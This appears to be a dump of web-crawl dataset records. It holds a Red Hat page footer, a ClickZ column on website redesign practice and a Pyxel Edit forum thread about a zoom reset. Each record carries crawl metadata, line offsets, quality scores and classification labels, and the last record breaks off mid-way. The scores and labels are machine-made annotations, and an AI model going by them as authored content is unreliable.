Red Hat is committed to replacing problematic language in our code, documentation, and web properties. For more details, see the Red Hat Blog.
About Red Hat
We deliver hardened solutions that make it easier for enterprises to work across platforms and environments, from the core datacenter to the network edge.
© 2024 Red Hat, Inc. | {
"url": "https://docs.redhat.com/en/documentation/red_hat_amq/2021.q3/html/using_the_amq_cpp_client/interoperability",
"source_domain": "docs.redhat.com",
"snapshot_id": "CC-MAIN-2024-33",
"warc_metadata": {
"Content-Length": "382072",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YLQKUYAALVYWWJ7XM6J3I3O7ZCYOEMFF",
"WARC-Concurrent-To": "<urn:uuid:9a2b3e16-7b5c-462e-bed7-d921382ab183>",
"WARC-Date": "2024-08-06T11:15:08Z",
"WARC-IP-Address": "23.217.116.227",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:4OTR44COTG7D2FGT6OHLFFHZ2E5AJ2VM",
"WARC-Record-ID": "<urn:uuid:a6a7e1d4-08dc-403b-ae08-66bd3bac0a5e>",
"WARC-Target-URI": "https://docs.redhat.com/en/documentation/red_hat_amq/2021.q3/html/using_the_amq_cpp_client/interoperability",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:bf69233a-9168-4c03-93f6-2f9869dea06f>"
},
"warc_info": "isPartOf: CC-MAIN-2024-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-90\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
8,
37,
38,
51,
52,
222,
223,
268,
269,
443,
444,
603,
604,
609,
610,
730,
731,
754,
775,
776,
781,
782,
797,
798,
806,
807,
829,
830,
835,
836,
863,
864,
871,
872,
905,
906,
913,
914,
934,
935,
940,
941,
964,
965,
971,
972,
996,
997,
1001,
1002,
1026,
1027,
1032,
1033,
1057,
1058,
1064,
1065,
1091,
1092,
1099,
1100,
1127,
1128,
1133,
1134,
1161,
1162,
1168,
1169,
1196,
1197,
1203,
1204,
1235,
1236,
1243,
1244,
1275,
1276,
1282,
1283,
1321,
1322,
1327,
1328,
1366,
1367,
1371,
1372,
1411,
1412,
1417,
1418,
1450,
1451,
1458,
1459,
1506,
1507,
1517,
1518,
1544,
1545,
1606,
1671,
1672,
1677,
1678,
1686,
1687,
1695,
1696,
1704,
1705,
1710,
1711,
1716,
1717,
1722,
1723,
1731,
1732,
1740,
1741,
1748,
1749,
1761,
1762,
1774,
1775,
1782,
1783,
1798,
1799,
1814,
1815,
1820,
1821,
1828,
1829,
1836,
1837,
1843,
1844,
1852,
1853,
1861,
1862,
1866,
1867,
1875,
1876,
1884,
1885,
1890,
1891,
1899,
1900,
1908,
1909,
1915,
1916,
1924,
1925,
1933,
1934,
1941,
1942,
1951,
1952,
1961,
1962,
1967,
1968,
1977,
1978,
1987,
1988,
1994,
1995,
2004,
2005,
2014,
2015,
2021,
2022,
2028,
2029,
2035,
2036,
2043,
2044,
2051,
2052,
2059,
2060,
2065,
2066,
2078,
2079,
2091,
2092,
2096,
2097,
2106,
2107,
2116,
2117,
2122,
2123,
2136,
2137,
2150,
2151,
2158,
2159,
2174,
2175,
2190,
2191,
2201,
2202,
2220,
2221,
2239,
2240,
2296,
2357,
2358,
2366,
2367,
2372,
2373,
2378,
2379,
2384,
2385,
2393,
2394,
2409,
2410,
2418,
2419,
2426,
2427,
2439,
2440,
2452,
2453,
2460,
2461,
2475,
2476,
2491,
2492,
2499,
2500,
2514,
2515,
2522,
2523,
2530,
2531,
2544,
2545,
2553,
2554,
2561,
2562,
2575,
2576,
2584,
2585,
2592,
2593,
2606,
2607,
2615,
2616,
2623,
2624,
2637,
2638,
2646,
2647,
2654,
2655,
2667,
2668,
2677,
2678,
2685,
2686,
2700,
2701,
2710,
2711,
2718,
2719,
2733,
2734,
2743,
2744,
2751,
2752,
2766,
2767,
2773,
2774,
2781,
2782,
2796,
2797,
2804,
2805,
2812,
2813,
2827,
2828,
2840,
2841,
2847,
2848,
2858,
2859,
2868,
2869,
2876,
2877,
2886,
2887,
2900,
2901,
2908,
2909,
2921,
2922,
2937,
2938,
2945,
2946,
2958,
2959,
2977,
2978,
2985,
2986,
3002,
3003,
3059,
3116,
3117,
3125,
3126,
3131,
3132,
3136,
3137,
3142,
3143,
3148,
3149,
3161,
3162,
3170,
3171,
3179,
3180,
3187,
3188,
3200,
3201,
3209,
3210,
3217,
3218,
3233,
3234,
3240,
3241,
3248,
3249,
3256,
3257,
3261,
3262,
3270,
3271,
3279,
3280,
3284,
3285,
3293,
3294,
3302,
3303,
3308,
3309,
3317,
3318,
3326,
3327,
3332,
3333,
3341,
3342,
3350,
3351,
3356,
3357,
3365,
3366,
3375,
3376,
3381,
3382,
3390,
3391,
3400,
3401,
3406,
3407,
3415,
3416,
3425,
3426,
3431,
3432,
3440,
3441,
3447,
3448,
3454,
3455,
3461,
3462,
3469,
3470,
3476,
3477,
3483,
3484,
3496,
3497,
3502,
3503,
3509,
3510,
3519,
3520,
3525,
3526,
3531,
3532,
3545,
3546,
3548,
3549,
3551,
3552,
3567,
3568,
3572,
3573,
3580,
3581,
3599,
3600,
3605,
3606,
3611,
3612,
3646,
3647,
3831,
3832,
3850,
3851,
4086,
4087,
4266,
4267,
4309,
4343,
4344,
4356,
4357,
4369,
4370,
4378,
4379,
4391,
4392,
4407,
4408,
4421,
4422,
4437,
4438,
4452,
4453,
4484,
4485,
4622,
4623,
4670,
4746,
4839,
4987,
4988,
5025,
5026,
5146,
5147,
5194,
5355,
5394,
5395,
5401,
5402,
5419,
5420,
5432,
5433,
5461,
5462,
5577,
5578,
5612,
5613,
5756,
5757,
5771,
5772,
5927,
5928
],
"line_end_idx": [
7,
8,
37,
38,
51,
52,
222,
223,
268,
269,
443,
444,
603,
604,
609,
610,
730,
731,
754,
775,
776,
781,
782,
797,
798,
806,
807,
829,
830,
835,
836,
863,
864,
871,
872,
905,
906,
913,
914,
934,
935,
940,
941,
964,
965,
971,
972,
996,
997,
1001,
1002,
1026,
1027,
1032,
1033,
1057,
1058,
1064,
1065,
1091,
1092,
1099,
1100,
1127,
1128,
1133,
1134,
1161,
1162,
1168,
1169,
1196,
1197,
1203,
1204,
1235,
1236,
1243,
1244,
1275,
1276,
1282,
1283,
1321,
1322,
1327,
1328,
1366,
1367,
1371,
1372,
1411,
1412,
1417,
1418,
1450,
1451,
1458,
1459,
1506,
1507,
1517,
1518,
1544,
1545,
1606,
1671,
1672,
1677,
1678,
1686,
1687,
1695,
1696,
1704,
1705,
1710,
1711,
1716,
1717,
1722,
1723,
1731,
1732,
1740,
1741,
1748,
1749,
1761,
1762,
1774,
1775,
1782,
1783,
1798,
1799,
1814,
1815,
1820,
1821,
1828,
1829,
1836,
1837,
1843,
1844,
1852,
1853,
1861,
1862,
1866,
1867,
1875,
1876,
1884,
1885,
1890,
1891,
1899,
1900,
1908,
1909,
1915,
1916,
1924,
1925,
1933,
1934,
1941,
1942,
1951,
1952,
1961,
1962,
1967,
1968,
1977,
1978,
1987,
1988,
1994,
1995,
2004,
2005,
2014,
2015,
2021,
2022,
2028,
2029,
2035,
2036,
2043,
2044,
2051,
2052,
2059,
2060,
2065,
2066,
2078,
2079,
2091,
2092,
2096,
2097,
2106,
2107,
2116,
2117,
2122,
2123,
2136,
2137,
2150,
2151,
2158,
2159,
2174,
2175,
2190,
2191,
2201,
2202,
2220,
2221,
2239,
2240,
2296,
2357,
2358,
2366,
2367,
2372,
2373,
2378,
2379,
2384,
2385,
2393,
2394,
2409,
2410,
2418,
2419,
2426,
2427,
2439,
2440,
2452,
2453,
2460,
2461,
2475,
2476,
2491,
2492,
2499,
2500,
2514,
2515,
2522,
2523,
2530,
2531,
2544,
2545,
2553,
2554,
2561,
2562,
2575,
2576,
2584,
2585,
2592,
2593,
2606,
2607,
2615,
2616,
2623,
2624,
2637,
2638,
2646,
2647,
2654,
2655,
2667,
2668,
2677,
2678,
2685,
2686,
2700,
2701,
2710,
2711,
2718,
2719,
2733,
2734,
2743,
2744,
2751,
2752,
2766,
2767,
2773,
2774,
2781,
2782,
2796,
2797,
2804,
2805,
2812,
2813,
2827,
2828,
2840,
2841,
2847,
2848,
2858,
2859,
2868,
2869,
2876,
2877,
2886,
2887,
2900,
2901,
2908,
2909,
2921,
2922,
2937,
2938,
2945,
2946,
2958,
2959,
2977,
2978,
2985,
2986,
3002,
3003,
3059,
3116,
3117,
3125,
3126,
3131,
3132,
3136,
3137,
3142,
3143,
3148,
3149,
3161,
3162,
3170,
3171,
3179,
3180,
3187,
3188,
3200,
3201,
3209,
3210,
3217,
3218,
3233,
3234,
3240,
3241,
3248,
3249,
3256,
3257,
3261,
3262,
3270,
3271,
3279,
3280,
3284,
3285,
3293,
3294,
3302,
3303,
3308,
3309,
3317,
3318,
3326,
3327,
3332,
3333,
3341,
3342,
3350,
3351,
3356,
3357,
3365,
3366,
3375,
3376,
3381,
3382,
3390,
3391,
3400,
3401,
3406,
3407,
3415,
3416,
3425,
3426,
3431,
3432,
3440,
3441,
3447,
3448,
3454,
3455,
3461,
3462,
3469,
3470,
3476,
3477,
3483,
3484,
3496,
3497,
3502,
3503,
3509,
3510,
3519,
3520,
3525,
3526,
3531,
3532,
3545,
3546,
3548,
3549,
3551,
3552,
3567,
3568,
3572,
3573,
3580,
3581,
3599,
3600,
3605,
3606,
3611,
3612,
3646,
3647,
3831,
3832,
3850,
3851,
4086,
4087,
4266,
4267,
4309,
4343,
4344,
4356,
4357,
4369,
4370,
4378,
4379,
4391,
4392,
4407,
4408,
4421,
4422,
4437,
4438,
4452,
4453,
4484,
4485,
4622,
4623,
4670,
4746,
4839,
4987,
4988,
5025,
5026,
5146,
5147,
5194,
5355,
5394,
5395,
5401,
5402,
5419,
5420,
5432,
5433,
5461,
5462,
5577,
5578,
5612,
5613,
5756,
5757,
5771,
5772,
5927,
5928,
5948
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5948,
"ccnet_original_nlines": 538,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.16744185984134674,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07069767266511917,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19348837435245514,
"rps_doc_frac_unique_words": 0.3758949935436249,
"rps_doc_mean_word_length": 5.480906963348389,
"rps_doc_num_sentences": 73,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.264406204223633,
"rps_doc_word_count": 838,
"rps_doc_frac_chars_dupe_10grams": 0.05834966152906418,
"rps_doc_frac_chars_dupe_5grams": 0.12584367394447327,
"rps_doc_frac_chars_dupe_6grams": 0.1092967614531517,
"rps_doc_frac_chars_dupe_7grams": 0.08186370879411697,
"rps_doc_frac_chars_dupe_8grams": 0.05834966152906418,
"rps_doc_frac_chars_dupe_9grams": 0.05834966152906418,
"rps_doc_frac_chars_top_2gram": 0.008708899840712547,
"rps_doc_frac_chars_top_3gram": 0.009579800069332123,
"rps_doc_frac_chars_top_4gram": 0.014369689859449863,
"rps_doc_books_importance": -499.946044921875,
"rps_doc_books_importance_length_correction": -499.946044921875,
"rps_doc_openwebtext_importance": -241.2178497314453,
"rps_doc_openwebtext_importance_length_correction": -241.2178497314453,
"rps_doc_wikipedia_importance": -223.9836883544922,
"rps_doc_wikipedia_importance_length_correction": -223.9836883544922
},
"fasttext": {
"dclm": 0.019688669592142105,
"english": 0.6045169234275818,
"fineweb_edu_approx": 2.265923261642456,
"eai_general_math": 0.30819380283355713,
"eai_open_web_math": 0.020530400797724724,
"eai_web_code": 0.9240930676460266
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
1,926,291,506,408,667,400 | Redesign Best Practices
| July 23, 2010 | Comments
The best redesigns are the simplest and the ones that keep evolving.
I mentioned a few weeks ago that I was about to moderate an expert panel at Shop.org called "When Is It Time to Redesign?" The panel included Sarah Veit, VP of direct to consumer for Bare Escentuals and Ken Mowry, VP of marketing and creative for Charming Shoppes. Today we'll look at a few of the major takeaways from the session.
Keep it Simple
One of the biggest lessons was also one of the most basic: keep it simple. Both panelists had launched new features on their sites that featured non-standard navigation. They both included horizontal navigation and worked like a Carousel or Cover Flow. In both cases, the feature failed during usability. Users didn't understand that they were only seeing a certain number of products and they could scroll the widget to the right or left to see more. In both cases, the companies removed the feature either during usability testing or after it launched (once they saw the feature wasn't working).
Keeping it simple is a tough lesson, especially as it often flies in the face of innovation and reinvention. How do we continue to move forward while making sure people understand how to use our site? Additionally, when is it time to train users on something new instead of only feeding them what they know?
There are lots of examples in recent history where "keep it simple" and "innovate and change" are not on opposite sides of the argument.
Multi-touch, for example, is a relatively new invention into our psyche. But it went off without a hitch. Why? It's intuitive and (more importantly) simplifies things. In this case, "keep it simple" was in effect, and things got simpler. Apple's two-finger scroll (on its trackpads) is another example. After you try it once, you wonder how you ever used a computer without that feature (and grimace when you have to).
But odd navigation on a website that doesn't simplify things is bound to confound users. Usability testing is crucial to understand if your latest and greatest innovation is intuitive or confusing.
Redesign Isn't One Event; It's a Constant Evolution
Both panelists reinforced this idea: redesign isn't always a big bang. Certainly, a wholesale redesign of the entire site is a huge idea. But beyond that, feature evolution and improvement is a weekly process. Sometimes, it's easier to sell a "redesign" if you don't use that word. If you're just changing one page or one feature, call it an "upgrade" or a "tweak." Upper management is usually less afraid of these words.
Post-Launch is Vital
Once a new feature or new site is launched, the work is rarely over. When redesigning, it's important to have a post-launch plan. Usually this involves analyzing site usage and metrics and tweaking things once they're used in the real world. Launches are also generally executed in phases, so preparing for Phase II and Phase III is important after the launch as well.
Additionally, it's important to get tech and creative to still be interested in the project. Once something is launched, it's no longer the "newest" or "sexiest" project at your company. But it still needs to be maintained and updated. You need to do internal PR to keep people interested in working on your project. Metrics, sales data, customer comments, and other feedback can help show its value and keep people excited.
Conclusion
Thanks again to Sarah and Ken for being on the panel. Hearing them talk about the redesign process was valuable and insightful to the audience. They're clearly experts in their fields, and were a pleasure to work with!
Until next time...
Jack
ClickZ Live Toronto On the heels of a fantastic event in New York City, ClickZ Live is taking the fun and learning to Toronto, June 23-25. With over 15 years' experience delivering industry-leading events, ClickZ Live offers an action-packed, educationally-focused agenda covering all aspects of digital marketing. Register today!
ABOUT THE AUTHOR
Jack Aaronson
Jack Aaronson, CEO of The Aaronson Group and corporate lecturer, is a sought-after expert on enhanced user experiences, customer conversion, retention, and loyalty. If only a small percentage of people who arrive at your home page transact with your company (and even fewer return to transact again), Jack and his company can help. He also publishes a newsletter about multichannel marketing, personalization, user experience, and other related issues. He has keynoted most major marketing conferences around the world and regularly speaks at Shop.org and other major industry shows. You can learn more about Jack through his LinkedIn profile.
COMMENTSCommenting policy
comments powered by Disqus
Get the ClickZ Analytics newsletter delivered to you. Subscribe today!
COMMENTS
UPCOMING EVENTS
UPCOMING TRAINING
Featured White Papers
Gartner Magic Quadrant for Digital Commerce
Gartner Magic Quadrant for Digital Commerce
This Magic Quadrant examines leading digital commerce platforms that enable organizations to build digital commerce sites. These commerce platforms facilitate purchasing transactions over the Web, and support the creation and continuing development of an online relationship with a consumer.
Paid Search in the Mobile Era
Paid Search in the Mobile Era
Google reports that paid search ads are currently driving 40+ million calls per month. Cost per click is increasing, paid search budgets are growing, and mobile continues to dominate. It's time to revamp old search strategies, reimagine stale best practices, and add new layers data to your analytics.
Jobs
• SEO Specialist
SEO Specialist (NJM Insurance Group) - West TrentonNew Jersey Manufacturers Insurance Company is an industry leader among its peers and the largest...
• Paid Search / Search Engine Marketing (SEM, PPC) Specialist
Paid Search / Search Engine Marketing (SEM, PPC) Specialist (HeBS Digital) - New York JOB TITLE: ... | {
"url": "http://www.clickz.com/clickz/column/1724717/redesign-best-practices",
"source_domain": "www.clickz.com",
"snapshot_id": "crawl=CC-MAIN-2015-18",
"warc_metadata": {
"Content-Length": "68498",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TFBKP3Y4V7F3G22LBGJ7YRPEUIDRGCHW",
"WARC-Concurrent-To": "<urn:uuid:f986f344-1395-4dc3-baf1-5ed9d335fb86>",
"WARC-Date": "2015-04-28T01:00:59Z",
"WARC-IP-Address": "62.140.213.189",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:P26DQU3YTTMTSCPZPAG2P72BQLFE4TZV",
"WARC-Record-ID": "<urn:uuid:2dbde24c-daba-40b2-b77b-0abd449069b4>",
"WARC-Target-URI": "http://www.clickz.com/clickz/column/1724717/redesign-best-practices",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b530c3c7-4d9f-4a8a-8ff8-c69bc88798fb>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-10-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
24,
25,
58,
59,
128,
129,
461,
462,
477,
478,
1076,
1077,
1385,
1386,
1523,
1524,
1943,
1944,
2142,
2143,
2195,
2196,
2618,
2619,
2640,
2641,
3010,
3011,
3436,
3437,
3448,
3449,
3668,
3669,
3688,
3689,
3694,
3695,
4026,
4027,
4044,
4045,
4059,
4060,
4704,
4705,
4731,
4732,
4759,
4760,
4831,
4832,
4841,
4842,
4858,
4859,
4877,
4878,
4900,
4901,
4945,
4946,
4990,
5282,
5283,
5313,
5314,
5344,
5646,
5647,
5652,
5653,
5674,
5831,
5897
],
"line_end_idx": [
24,
25,
58,
59,
128,
129,
461,
462,
477,
478,
1076,
1077,
1385,
1386,
1523,
1524,
1943,
1944,
2142,
2143,
2195,
2196,
2618,
2619,
2640,
2641,
3010,
3011,
3436,
3437,
3448,
3449,
3668,
3669,
3688,
3689,
3694,
3695,
4026,
4027,
4044,
4045,
4059,
4060,
4704,
4705,
4731,
4732,
4759,
4760,
4831,
4832,
4841,
4842,
4858,
4859,
4877,
4878,
4900,
4901,
4945,
4946,
4990,
5282,
5283,
5313,
5314,
5344,
5646,
5647,
5652,
5653,
5674,
5831,
5897,
6051
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6051,
"ccnet_original_nlines": 75,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3691786527633667,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021168500185012817,
"rps_doc_frac_lines_end_with_ellipsis": 0.039473678916692734,
"rps_doc_frac_no_alph_words": 0.16426756978034973,
"rps_doc_frac_unique_words": 0.48329854011535645,
"rps_doc_mean_word_length": 5.034446716308594,
"rps_doc_num_sentences": 61,
"rps_doc_symbol_to_word_ratio": 0.0025402200408279896,
"rps_doc_unigram_entropy": 5.612172603607178,
"rps_doc_word_count": 958,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05100559815764427,
"rps_doc_frac_chars_dupe_6grams": 0.045200079679489136,
"rps_doc_frac_chars_dupe_7grams": 0.019489940255880356,
"rps_doc_frac_chars_dupe_8grams": 0.019489940255880356,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006220189854502678,
"rps_doc_frac_chars_top_3gram": 0.009952309541404247,
"rps_doc_frac_chars_top_4gram": 0.004976159892976284,
"rps_doc_books_importance": -455.3742980957031,
"rps_doc_books_importance_length_correction": -455.3742980957031,
"rps_doc_openwebtext_importance": -276.1453857421875,
"rps_doc_openwebtext_importance_length_correction": -276.1453857421875,
"rps_doc_wikipedia_importance": -226.39920043945312,
"rps_doc_wikipedia_importance_length_correction": -226.39920043945312
},
"fasttext": {
"dclm": 0.049580808728933334,
"english": 0.9531736373901367,
"fineweb_edu_approx": 1.3323187828063965,
"eai_general_math": 0.009153599850833416,
"eai_open_web_math": 0.07318699359893799,
"eai_web_code": 0.013368840329349041
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.8",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.8",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
2,895,357,189,767,271,400 | Zoom resets to 1:1 on initial touch with 'Slide' app
As the title says, when I touch my Note II device with my S pen, the zoom function resets itself to a 1:1 scale.
I have been using this app called 'Slide' which lets me use my device as if it were a drawing tablet. But the moment it registers the pen on my device's screen, the zoom goes back to 1:1. This only happens with the pen, when I touch my phone with my finger it doesn't happen.
I assume the next update with configurable hotkeys will solve this (if there is a option to change the 'reset zoom' hotkey) but it seemed like a good idea to post the problem anyway.
Comments
• I figured out it has to do with the 'Center canvas in frame' for some reason my initial touch triggers that function. This problem only happens in Pyxel Edit so I know it's not the app
• DanikDanik Posts: 884
Yes, it probably has something to do with keyboard mappings. That function is mapped to the number 0 on the keyboard, so maybe that key is triggered.
If you are able to edit pyxelconfig.json you can try changing the key for "fitCanvasInViewAction" and see if that helps.
You can find the file here (although this will change in the next release):
Windows: C:\Users\[username]\AppData\Roaming\PyxelEdit or similar.
You can enter %appdata% as the path in windows explorer to find the Roaming folder quickly.
Mac: /Users/[username]/Library/Application Support/PyxelEdit or similar.
Sign In or Register to comment. | {
"url": "http://pyxeledit.com/forum/discussion/421/zoom-resets-to-1-1-on-initial-touch-with-slide-app",
"source_domain": "pyxeledit.com",
"snapshot_id": "crawl=CC-MAIN-2022-05",
"warc_metadata": {
"Content-Length": "25981",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:W55VY6YA7RXOCY6TYN3CDP65WHM6UUK3",
"WARC-Concurrent-To": "<urn:uuid:0b1d0df1-d6f6-488f-bf8c-7144ad83023c>",
"WARC-Date": "2022-01-29T01:30:57Z",
"WARC-IP-Address": "77.111.240.94",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:MJNWP5DXWLSGZEFOQQ6GGNA6BY2ISRLB",
"WARC-Record-ID": "<urn:uuid:d898f179-b99e-4630-800e-29bc6301ec76>",
"WARC-Target-URI": "http://pyxeledit.com/forum/discussion/421/zoom-resets-to-1-1-on-initial-touch-with-slide-app",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c67e3724-63ac-41a9-8c5d-9baf22993ed5>"
},
"warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-61\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
53,
54,
168,
169,
446,
447,
630,
631,
640,
641,
830,
856,
1010,
1135,
1215,
1216,
1295,
1399,
1400,
1485,
1486
],
"line_end_idx": [
53,
54,
168,
169,
446,
447,
630,
631,
640,
641,
830,
856,
1010,
1135,
1215,
1216,
1295,
1399,
1400,
1485,
1486,
1517
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1517,
"ccnet_original_nlines": 21,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4054878056049347,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.027439020574092865,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1981707364320755,
"rps_doc_frac_unique_words": 0.548638105392456,
"rps_doc_mean_word_length": 4.42801570892334,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.622772216796875,
"rps_doc_word_count": 257,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.015817219391465187,
"rps_doc_frac_chars_top_3gram": 0.017574690282344818,
"rps_doc_frac_chars_top_4gram": 0.02108963020145893,
"rps_doc_books_importance": -166.4831085205078,
"rps_doc_books_importance_length_correction": -156.28836059570312,
"rps_doc_openwebtext_importance": -85.45310974121094,
"rps_doc_openwebtext_importance_length_correction": -85.45310974121094,
"rps_doc_wikipedia_importance": -86.83301544189453,
"rps_doc_wikipedia_importance_length_correction": -74.20598602294922
},
"fasttext": {
"dclm": 0.02083485946059227,
"english": 0.9114934206008911,
"fineweb_edu_approx": 1.2798348665237427,
"eai_general_math": 0.5798569321632385,
"eai_open_web_math": 0.2010897994041443,
"eai_web_code": 0.07448183745145798
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.656",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
